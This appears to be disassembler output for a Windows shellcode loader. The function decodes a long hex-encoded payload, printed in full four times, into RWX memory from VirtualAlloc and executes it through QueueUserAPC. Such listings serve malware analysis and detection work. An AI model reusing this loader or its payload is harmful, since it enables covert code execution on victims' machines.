Function at 0x140011276
Capabilities:
Allocate or change rwx memory

Disassembly:
jmp 0x1400118d0
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001eb00]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x1400240a2]
call fcn.140011384
lea rcx, str.E9210000001B44CE10DC32ACBB4AD347AF5D0E7AADDE597082797F5DE613A06BA35E79F8FAAA0F8E1C000000C80000004883EC29554889E54D0F4DDB4889EC5D4883C4294889EC5DE818050000E7000000005848055C6296C54989C34980C3020100004153B7383E56FCFFFFB673E3F4F049C7F049B346A3978EB38BB6EA4B3091000000FFA6EB6E79FF0FB7148596CACE0EB73C08BC77C3C777EBF7BBFE05F0492D75EBEF0F27E504C14C24FDDA75D4408878FE8847FFC300003D282E17D858691B0E2B96B42A2F48B93E9BB0AF786020B3524A5031AE8B052B537903FD715360AB12A4720FB031C56B05A99712A4D3858EC439F3489C1F2CC3332DC53AFEDF149CCB37BD66352E4A8496938A47533051F11326C376879DD3EF0AA57F3F3EB7AF6C8CC8DD0F4726063BFEE0E26B452AF9B0357DD9E422CB93BCD5FEC9DA843AA70F6E5D23A7A9CBDEBA2AA203341A63500D4893B5DC59CF79381C45EF58A5CC148B04499EC099E6BD94A0CFE737FC61E565B41E40996F6B5E7E3638FF6161067263017CDB40FDF21B32703FAC2B8E2D3CE69F4715273394017EFFB22F7747826EEEF58E14478CEE9A7FF7D2AD56B2B4EC13F6F7D794F96898926EDE1E7CCF3D3405BB5B04833B18F59EC33EB052595AE7D05AB9082DC5169B56688CAA8EA4B65650CAE9CE90532354ACDE1F8EB673B2F1D9F6AE0F9C3B250E011B3D4490CB9109CA472ECEE4CBEF86E802CF9CE2E5E3F18C62F1DE62846ABA993DE6D33840DA496B35226B6385BCD211E4BC5A89E3CF636D26367609CC4B0C872AD6610CA37A440F6AA9BC56FB59F4154CC794D95FB8FBA54165050EDC0E1FF5E0E391DC7E56AF8CD1C787B58E703C9F76E02C33B811BD2F4393D01AD28583FD9E54C4A8D20800B08B13D95565BCF28BDD18CDBF07D78319AB0D412BCD3554150F2AB43B56471745ABD4FFA132B4C4133F0A20ED61BC7B387D0DF0D7316C0DA871F2DC8B486286B6669EE36168287BA05899119559EF7A8837545EB9957A9BD6210DC0F6ADDA45FC46239EECA19CF1931A47227B37BE6C87CF8B7D2A63D44407C986531301F83110AA633DF2E40F8E38151FD7E48EBB9A9FA4CDA403E1F2134BE932E9C61B378C0E5435923A3128DCED7478B153CD35BC2B4C7D8328B51695F1EEFFA84BBA3213A3A1ADBBB2FAC1B6D91E6CC03405325316E8ABDBBB02A68C8061F556762C13133A64EFB6BF975027A795635AECC1DEAB2BD8728AAFC943E3584BFC7EF9902FEAA35963A3E578008F184E387A2317F7535C2BC361085B8F9F247E6741AC64A9B6D65CC02460AA6F2D3CD1C15706D91A6A49FF0302E2D7E7E8E7D90A385307A52F2A77E91010BE67CCB176DE39BF6026641CC0B87CD069CD2BF248CF51A0B2B6B11BB6697DA92232F34E6651CE20129C238BE29105165F5E7F2396D750C743255B3529422FC157F14A2F098496E4B79C8E37EDB511D666B4FE2688F048ABE7C08778FBAFA28D4BE8836CDF1BBD4D21EF6DBA8BC74C7DBB6350EB70A7BAF42AA6AA985E94BB6CE9AC3570DFAC2CECC3173E22F621EC5CDCD659D7490D0C3675D2FCF09627D1E920DBCAB6E00255A0A1ACE248917CD6AA82BEEFC97904F65D2A725C9EAD418F9DFB29F82C3F8E2FE8498F2D9699444DCE58FCB9394DB9B289DEF2497E3D3572C7F64CCF5A56EDA1AB4E959FA8EEF794E06A5635BBF0E651CD9F4EAA2A4BD92C7C8B0ECDFE76A6E54429407E88D242FCFC0BD6AA1BF2E68298AF17EBBB3C8228C41AE4F52661FFB6CDEA35B3ACD4056406A1C842E2A3C653F34E932B81F9F9F36E14E67FB9379CF11B962B8C03381FE5584D946EF7049CAA1CC07DAF38FDD7C82FA5F4ADC2C829B1BB9B76AEC1EA30BA2F5DA3D73E3B2D4FA58484958FAFC55E44CC673D360AF192DBECA366E52D505263ADBD0358EB73AA0C06AABC653090905B488B3348FFC6488933816B08F66196C54C8B531049FFC24C89531053415F4983C7184D8B3749F7D64D893749F75F0848BFFB47EB144EB1C28F49317F1041816F180F3CAC64418147202155A03C48C7C24D96F9894929572849F75F3049F7573849C147402649FF47484D8B475049FFC04D89475049FF4F584D89FE4983C66049F7164156415D4983C5084181750036D7E7C8498B750848F7D64989750848C7C0564575DE4931451049C7C3D1429CB94D295D184C89E94883C12048C10130817108D56C025B8169108C4DBDBE49BEC63DC02FF1B1CF094C31711848C141201748F7592848C141300C51584883C03849C7C13161ABEE4C290848C140083D48C140103E48C1481820817020F9ED144548C148282E4889C74883C73048FF0748FF4F084C8B771049F7D64C8977105741584983C01848BAC21ECF5D048C2F8249011049F758084C89C64883C6104C8B2E49FFCD4C892E4C8B7E0849F7D74C897E08816E1091A6F6CB49BD1BF7E92FFFDDC8274C296E18488B5E2048F7DB48895E2048BAFB7D0765CEBB692F483156284C8B763049FFCE4C8976308176388A8FB16C48F75E4048C7C786BF97B048297E484C8B4E5049F7D94C894E5048C14E582648C7C2CFB31B9D482956608146686E7857F64C8B667049F7D44C8966704989F14983C17849C1090A4D8B590849FFCB4D89590848C7C79FD840814931791048BBDF0FE90AD06F6AE54931591849C149200A49F7512849C7C29596C8C34D31513049FF413849FF494049C141483C4D89CE4983C65049FF0E41817608442BEF2D49C146103C4156584883C01848FF005041584983C008498B3048FFC6498930415041594983C1084D8B1149FFC24D891149FF410849C141101649C1411826498B592048FFCB498959204D8B712849FFC64D89712849C7C7C60C75FD4D29
call fcn.140011177
mov dword [rbp + 4], eax
mov dword [rbp + 0x44], 0
jmp 0x14001192d
mov eax, dword [rbp + 0x44]
inc eax
mov dword [rbp + 0x44], eax
xor edx, edx
mov eax, dword [rbp + 4]
mov ecx, 2
div ecx
cmp dword [rbp + 0x44], eax
jae 0x140011978
mov eax, dword [rbp + 0x44]
shl eax, 1
mov eax, eax
lea rcx, str.E9210000001B44CE10DC32ACBB4AD347AF5D0E7AADDE597082797F5DE613A06BA35E79F8FAAA0F8E1C000000C80000004883EC29554889E54D0F4DDB4889EC5D4883C4294889EC5DE818050000E7000000005848055C6296C54989C34980C3020100004153B7383E56FCFFFFB673E3F4F049C7F049B346A3978EB38BB6EA4B3091000000FFA6EB6E79FF0FB7148596CACE0EB73C08BC77C3C777EBF7BBFE05F0492D75EBEF0F27E504C14C24FDDA75D4408878FE8847FFC300003D282E17D858691B0E2B96B42A2F48B93E9BB0AF786020B3524A5031AE8B052B537903FD715360AB12A4720FB031C56B05A99712A4D3858EC439F3489C1F2CC3332DC53AFEDF149CCB37BD66352E4A8496938A47533051F11326C376879DD3EF0AA57F3F3EB7AF6C8CC8DD0F4726063BFEE0E26B452AF9B0357DD9E422CB93BCD5FEC9DA843AA70F6E5D23A7A9CBDEBA2AA203341A63500D4893B5DC59CF79381C45EF58A5CC148B04499EC099E6BD94A0CFE737FC61E565B41E40996F6B5E7E3638FF6161067263017CDB40FDF21B32703FAC2B8E2D3CE69F4715273394017EFFB22F7747826EEEF58E14478CEE9A7FF7D2AD56B2B4EC13F6F7D794F96898926EDE1E7CCF3D3405BB5B04833B18F59EC33EB052595AE7D05AB9082DC5169B56688CAA8EA4B65650CAE9CE90532354ACDE1F8EB673B2F1D9F6AE0F9C3B250E011B3D4490CB9109CA472ECEE4CBEF86E802CF9CE2E5E3F18C62F1DE62846ABA993DE6D33840DA496B35226B6385BCD211E4BC5A89E3CF636D26367609CC4B0C872AD6610CA37A440F6AA9BC56FB59F4154CC794D95FB8FBA54165050EDC0E1FF5E0E391DC7E56AF8CD1C787B58E703C9F76E02C33B811BD2F4393D01AD28583FD9E54C4A8D20800B08B13D95565BCF28BDD18CDBF07D78319AB0D412BCD3554150F2AB43B56471745ABD4FFA132B4C4133F0A20ED61BC7B387D0DF0D7316C0DA871F2DC8B486286B6669EE36168287BA05899119559EF7A8837545EB9957A9BD6210DC0F6ADDA45FC46239EECA19CF1931A47227B37BE6C87CF8B7D2A63D44407C986531301F83110AA633DF2E40F8E38151FD7E48EBB9A9FA4CDA403E1F2134BE932E9C61B378C0E5435923A3128DCED7478B153CD35BC2B4C7D8328B51695F1EEFFA84BBA3213A3A1ADBBB2FAC1B6D91E6CC03405325316E8ABDBBB02A68C8061F556762C13133A64EFB6BF975027A795635AECC1DEAB2BD8728AAFC943E3584BFC7EF9902FEAA35963A3E578008F184E387A2317F7535C2BC361085B8F9F247E6741AC64A9B6D65CC02460AA6F2D3CD1C15706D91A6A49FF0302E2D7E7E8E7D90A385307A52F2A77E91010BE67CCB176DE39BF6026641CC0B87CD069CD2BF248CF51A0B2B6B11BB6697DA92232F34E6651CE20129C238BE29105165F5E7F2396D750C743255B3529422FC157F14A2F098496E4B79C8E37EDB511D666B4FE2688F048ABE7C08778FBAFA28D4BE8836CDF1BBD4D21EF6DBA8BC74C7DBB6350EB70A7BAF42AA6AA985E94BB6CE9AC3570DFAC2CECC3173E22F621EC5CDCD659D7490D0C3675D2FCF09627D1E920DBCAB6E00255A0A1ACE248917CD6AA82BEEFC97904F65D2A725C9EAD418F9DFB29F82C3F8E2FE8498F2D9699444DCE58FCB9394DB9B289DEF2497E3D3572C7F64CCF5A56EDA1AB4E959FA8EEF794E06A5635BBF0E651CD9F4EAA2A4BD92C7C8B0ECDFE76A6E54429407E88D242FCFC0BD6AA1BF2E68298AF17EBBB3C8228C41AE4F52661FFB6CDEA35B3ACD4056406A1C842E2A3C653F34E932B81F9F9F36E14E67FB9379CF11B962B8C03381FE5584D946EF7049CAA1CC07DAF38FDD7C82FA5F4ADC2C829B1BB9B76AEC1EA30BA2F5DA3D73E3B2D4FA58484958FAFC55E44CC673D360AF192DBECA366E52D505263ADBD0358EB73AA0C06AABC653090905B488B3348FFC6488933816B08F66196C54C8B531049FFC24C89531053415F4983C7184D8B3749F7D64D893749F75F0848BFFB47EB144EB1C28F49317F1041816F180F3CAC64418147202155A03C48C7C24D96F9894929572849F75F3049F7573849C147402649FF47484D8B475049FFC04D89475049FF4F584D89FE4983C66049F7164156415D4983C5084181750036D7E7C8498B750848F7D64989750848C7C0564575DE4931451049C7C3D1429CB94D295D184C89E94883C12048C10130817108D56C025B8169108C4DBDBE49BEC63DC02FF1B1CF094C31711848C141201748F7592848C141300C51584883C03849C7C13161ABEE4C290848C140083D48C140103E48C1481820817020F9ED144548C148282E4889C74883C73048FF0748FF4F084C8B771049F7D64C8977105741584983C01848BAC21ECF5D048C2F8249011049F758084C89C64883C6104C8B2E49FFCD4C892E4C8B7E0849F7D74C897E08816E1091A6F6CB49BD1BF7E92FFFDDC8274C296E18488B5E2048F7DB48895E2048BAFB7D0765CEBB692F483156284C8B763049FFCE4C8976308176388A8FB16C48F75E4048C7C786BF97B048297E484C8B4E5049F7D94C894E5048C14E582648C7C2CFB31B9D482956608146686E7857F64C8B667049F7D44C8966704989F14983C17849C1090A4D8B590849FFCB4D89590848C7C79FD840814931791048BBDF0FE90AD06F6AE54931591849C149200A49F7512849C7C29596C8C34D31513049FF413849FF494049C141483C4D89CE4983C65049FF0E41817608442BEF2D49C146103C4156584883C01848FF005041584983C008498B3048FFC6498930415041594983C1084D8B1149FFC24D891149FF410849C141101649C1411826498B592048FFCB498959204D8B712849FFC64D89712849C7C7C60C75FD4D29
add rcx, rax
mov rax, rcx
lea r8, [rbp + 0x24]
lea rdx, [0x14001aca4]
mov rcx, rax
call fcn.14001104b
mov eax, dword [rbp + 0x44]
lea rcx, str.E9210000001B44CE10DC32ACBB4AD347AF5D0E7AADDE597082797F5DE613A06BA35E79F8FAAA0F8E1C000000C80000004883EC29554889E54D0F4DDB4889EC5D4883C4294889EC5DE818050000E7000000005848055C6296C54989C34980C3020100004153B7383E56FCFFFFB673E3F4F049C7F049B346A3978EB38BB6EA4B3091000000FFA6EB6E79FF0FB7148596CACE0EB73C08BC77C3C777EBF7BBFE05F0492D75EBEF0F27E504C14C24FDDA75D4408878FE8847FFC300003D282E17D858691B0E2B96B42A2F48B93E9BB0AF786020B3524A5031AE8B052B537903FD715360AB12A4720FB031C56B05A99712A4D3858EC439F3489C1F2CC3332DC53AFEDF149CCB37BD66352E4A8496938A47533051F11326C376879DD3EF0AA57F3F3EB7AF6C8CC8DD0F4726063BFEE0E26B452AF9B0357DD9E422CB93BCD5FEC9DA843AA70F6E5D23A7A9CBDEBA2AA203341A63500D4893B5DC59CF79381C45EF58A5CC148B04499EC099E6BD94A0CFE737FC61E565B41E40996F6B5E7E3638FF6161067263017CDB40FDF21B32703FAC2B8E2D3CE69F4715273394017EFFB22F7747826EEEF58E14478CEE9A7FF7D2AD56B2B4EC13F6F7D794F96898926EDE1E7CCF3D3405BB5B04833B18F59EC33EB052595AE7D05AB9082DC5169B56688CAA8EA4B65650CAE9CE90532354ACDE1F8EB673B2F1D9F6AE0F9C3B250E011B3D4490CB9109CA472ECEE4CBEF86E802CF9CE2E5E3F18C62F1DE62846ABA993DE6D33840DA496B35226B6385BCD211E4BC5A89E3CF636D26367609CC4B0C872AD6610CA37A440F6AA9BC56FB59F4154CC794D95FB8FBA54165050EDC0E1FF5E0E391DC7E56AF8CD1C787B58E703C9F76E02C33B811BD2F4393D01AD28583FD9E54C4A8D20800B08B13D95565BCF28BDD18CDBF07D78319AB0D412BCD3554150F2AB43B56471745ABD4FFA132B4C4133F0A20ED61BC7B387D0DF0D7316C0DA871F2DC8B486286B6669EE36168287BA05899119559EF7A8837545EB9957A9BD6210DC0F6ADDA45FC46239EECA19CF1931A47227B37BE6C87CF8B7D2A63D44407C986531301F83110AA633DF2E40F8E38151FD7E48EBB9A9FA4CDA403E1F2134BE932E9C61B378C0E5435923A3128DCED7478B153CD35BC2B4C7D8328B51695F1EEFFA84BBA3213A3A1ADBBB2FAC1B6D91E6CC03405325316E8ABDBBB02A68C8061F556762C13133A64EFB6BF975027A795635AECC1DEAB2BD8728AAFC943E3584BFC7EF9902FEAA35963A3E578008F184E387A2317F7535C2BC361085B8F9F247E6741AC64A9B6D65CC02460AA6F2D3CD1C15706D91A6A49FF0302E2D7E7E8E7D90A385307A52F2A77E91010BE67CCB176DE39BF6026641CC0B87CD069CD2BF248CF51A0B2B6B11BB6697DA92232F34E6651CE20129C238BE29105165F5E7F2396D750C743255B3529422FC157F14A2F098496E4B79C8E37EDB511D666B4FE2688F048ABE7C08778FBAFA28D4BE8836CDF1BBD4D21EF6DBA8BC74C7DBB6350EB70A7BAF42AA6AA985E94BB6CE9AC3570DFAC2CECC3173E22F621EC5CDCD659D7490D0C3675D2FCF09627D1E920DBCAB6E00255A0A1ACE248917CD6AA82BEEFC97904F65D2A725C9EAD418F9DFB29F82C3F8E2FE8498F2D9699444DCE58FCB9394DB9B289DEF2497E3D3572C7F64CCF5A56EDA1AB4E959FA8EEF794E06A5635BBF0E651CD9F4EAA2A4BD92C7C8B0ECDFE76A6E54429407E88D242FCFC0BD6AA1BF2E68298AF17EBBB3C8228C41AE4F52661FFB6CDEA35B3ACD4056406A1C842E2A3C653F34E932B81F9F9F36E14E67FB9379CF11B962B8C03381FE5584D946EF7049CAA1CC07DAF38FDD7C82FA5F4ADC2C829B1BB9B76AEC1EA30BA2F5DA3D73E3B2D4FA58484958FAFC55E44CC673D360AF192DBECA366E52D505263ADBD0358EB73AA0C06AABC653090905B488B3348FFC6488933816B08F66196C54C8B531049FFC24C89531053415F4983C7184D8B3749F7D64D893749F75F0848BFFB47EB144EB1C28F49317F1041816F180F3CAC64418147202155A03C48C7C24D96F9894929572849F75F3049F7573849C147402649FF47484D8B475049FFC04D89475049FF4F584D89FE4983C66049F7164156415D4983C5084181750036D7E7C8498B750848F7D64989750848C7C0564575DE4931451049C7C3D1429CB94D295D184C89E94883C12048C10130817108D56C025B8169108C4DBDBE49BEC63DC02FF1B1CF094C31711848C141201748F7592848C141300C51584883C03849C7C13161ABEE4C290848C140083D48C140103E48C1481820817020F9ED144548C148282E4889C74883C73048FF0748FF4F084C8B771049F7D64C8977105741584983C01848BAC21ECF5D048C2F8249011049F758084C89C64883C6104C8B2E49FFCD4C892E4C8B7E0849F7D74C897E08816E1091A6F6CB49BD1BF7E92FFFDDC8274C296E18488B5E2048F7DB48895E2048BAFB7D0765CEBB692F483156284C8B763049FFCE4C8976308176388A8FB16C48F75E4048C7C786BF97B048297E484C8B4E5049F7D94C894E5048C14E582648C7C2CFB31B9D482956608146686E7857F64C8B667049F7D44C8966704989F14983C17849C1090A4D8B590849FFCB4D89590848C7C79FD840814931791048BBDF0FE90AD06F6AE54931591849C149200A49F7512849C7C29596C8C34D31513049FF413849FF494049C141483C4D89CE4983C65049FF0E41817608442BEF2D49C146103C4156584883C01848FF005041584983C008498B3048FFC6498930415041594983C1084D8B1149FFC24D891149FF410849C141101649C1411826498B592048FFCB498959204D8B712849FFC64D89712849C7C7C60C75FD4D29
movzx edx, byte [rbp + 0x24]
mov byte [rcx + rax], dl
jmp 0x140011925
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x166d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x68], rax
mov r8d, 0x166d
lea rdx, str.E9210000001B44CE10DC32ACBB4AD347AF5D0E7AADDE597082797F5DE613A06BA35E79F8FAAA0F8E1C000000C80000004883EC29554889E54D0F4DDB4889EC5D4883C4294889EC5DE818050000E7000000005848055C6296C54989C34980C3020100004153B7383E56FCFFFFB673E3F4F049C7F049B346A3978EB38BB6EA4B3091000000FFA6EB6E79FF0FB7148596CACE0EB73C08BC77C3C777EBF7BBFE05F0492D75EBEF0F27E504C14C24FDDA75D4408878FE8847FFC300003D282E17D858691B0E2B96B42A2F48B93E9BB0AF786020B3524A5031AE8B052B537903FD715360AB12A4720FB031C56B05A99712A4D3858EC439F3489C1F2CC3332DC53AFEDF149CCB37BD66352E4A8496938A47533051F11326C376879DD3EF0AA57F3F3EB7AF6C8CC8DD0F4726063BFEE0E26B452AF9B0357DD9E422CB93BCD5FEC9DA843AA70F6E5D23A7A9CBDEBA2AA203341A63500D4893B5DC59CF79381C45EF58A5CC148B04499EC099E6BD94A0CFE737FC61E565B41E40996F6B5E7E3638FF6161067263017CDB40FDF21B32703FAC2B8E2D3CE69F4715273394017EFFB22F7747826EEEF58E14478CEE9A7FF7D2AD56B2B4EC13F6F7D794F96898926EDE1E7CCF3D3405BB5B04833B18F59EC33EB052595AE7D05AB9082DC5169B56688CAA8EA4B65650CAE9CE90532354ACDE1F8EB673B2F1D9F6AE0F9C3B250E011B3D4490CB9109CA472ECEE4CBEF86E802CF9CE2E5E3F18C62F1DE62846ABA993DE6D33840DA496B35226B6385BCD211E4BC5A89E3CF636D26367609CC4B0C872AD6610CA37A440F6AA9BC56FB59F4154CC794D95FB8FBA54165050EDC0E1FF5E0E391DC7E56AF8CD1C787B58E703C9F76E02C33B811BD2F4393D01AD28583FD9E54C4A8D20800B08B13D95565BCF28BDD18CDBF07D78319AB0D412BCD3554150F2AB43B56471745ABD4FFA132B4C4133F0A20ED61BC7B387D0DF0D7316C0DA871F2DC8B486286B6669EE36168287BA05899119559EF7A8837545EB9957A9BD6210DC0F6ADDA45FC46239EECA19CF1931A47227B37BE6C87CF8B7D2A63D44407C986531301F83110AA633DF2E40F8E38151FD7E48EBB9A9FA4CDA403E1F2134BE932E9C61B378C0E5435923A3128DCED7478B153CD35BC2B4C7D8328B51695F1EEFFA84BBA3213A3A1ADBBB2FAC1B6D91E6CC03405325316E8ABDBBB02A68C8061F556762C13133A64EFB6BF975027A795635AECC1DEAB2BD8728AAFC943E3584BFC7EF9902FEAA35963A3E578008F184E387A2317F7535C2BC361085B8F9F247E6741AC64A9B6D65CC02460AA6F2D3CD1C15706D91A6A49FF0302E2D7E7E8E7D90A385307A52F2A77E91010BE67CCB176DE39BF6026641CC0B87CD069CD2BF248CF51A0B2B6B11BB6697DA92232F34E6651CE20129C238BE29105165F5E7F2396D750C743255B3529422FC157F14A2F098496E4B79C8E37EDB511D666B4FE2688F048ABE7C08778FBAFA28D4BE8836CDF1BBD4D21EF6DBA8BC74C7DBB6350EB70A7BAF42AA6AA985E94BB6CE9AC3570DFAC2CECC3173E22F621EC5CDCD659D7490D0C3675D2FCF09627D1E920DBCAB6E00255A0A1ACE248917CD6AA82BEEFC97904F65D2A725C9EAD418F9DFB29F82C3F8E2FE8498F2D9699444DCE58FCB9394DB9B289DEF2497E3D3572C7F64CCF5A56EDA1AB4E959FA8EEF794E06A5635BBF0E651CD9F4EAA2A4BD92C7C8B0ECDFE76A6E54429407E88D242FCFC0BD6AA1BF2E68298AF17EBBB3C8228C41AE4F52661FFB6CDEA35B3ACD4056406A1C842E2A3C653F34E932B81F9F9F36E14E67FB9379CF11B962B8C03381FE5584D946EF7049CAA1CC07DAF38FDD7C82FA5F4ADC2C829B1BB9B76AEC1EA30BA2F5DA3D73E3B2D4FA58484958FAFC55E44CC673D360AF192DBECA366E52D505263ADBD0358EB73AA0C06AABC653090905B488B3348FFC6488933816B08F66196C54C8B531049FFC24C89531053415F4983C7184D8B3749F7D64D893749F75F0848BFFB47EB144EB1C28F49317F1041816F180F3CAC64418147202155A03C48C7C24D96F9894929572849F75F3049F7573849C147402649FF47484D8B475049FFC04D89475049FF4F584D89FE4983C66049F7164156415D4983C5084181750036D7E7C8498B750848F7D64989750848C7C0564575DE4931451049C7C3D1429CB94D295D184C89E94883C12048C10130817108D56C025B8169108C4DBDBE49BEC63DC02FF1B1CF094C31711848C141201748F7592848C141300C51584883C03849C7C13161ABEE4C290848C140083D48C140103E48C1481820817020F9ED144548C148282E4889C74883C73048FF0748FF4F084C8B771049F7D64C8977105741584983C01848BAC21ECF5D048C2F8249011049F758084C89C64883C6104C8B2E49FFCD4C892E4C8B7E0849F7D74C897E08816E1091A6F6CB49BD1BF7E92FFFDDC8274C296E18488B5E2048F7DB48895E2048BAFB7D0765CEBB692F483156284C8B763049FFCE4C8976308176388A8FB16C48F75E4048C7C786BF97B048297E484C8B4E5049F7D94C894E5048C14E582648C7C2CFB31B9D482956608146686E7857F64C8B667049F7D44C8966704989F14983C17849C1090A4D8B590849FFCB4D89590848C7C79FD840814931791048BBDF0FE90AD06F6AE54931591849C149200A49F7512849C7C29596C8C34D31513049FF413849FF494049C141483C4D89CE4983C65049FF0E41817608442BEF2D49C146103C4156584883C01848FF005041584983C008498B3048FFC6498930415041594983C1084D8B1149FFC24D891149FF410849C141101649C1411826498B592048FFCB498959204D8B712849FFC64D89712849C7C7C60C75FD4D29
mov rcx, qword [rbp + 0x68]
call fcn.1400113c0
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ac80]
call fcn.140011311
mov eax, edi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.1400111b3
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret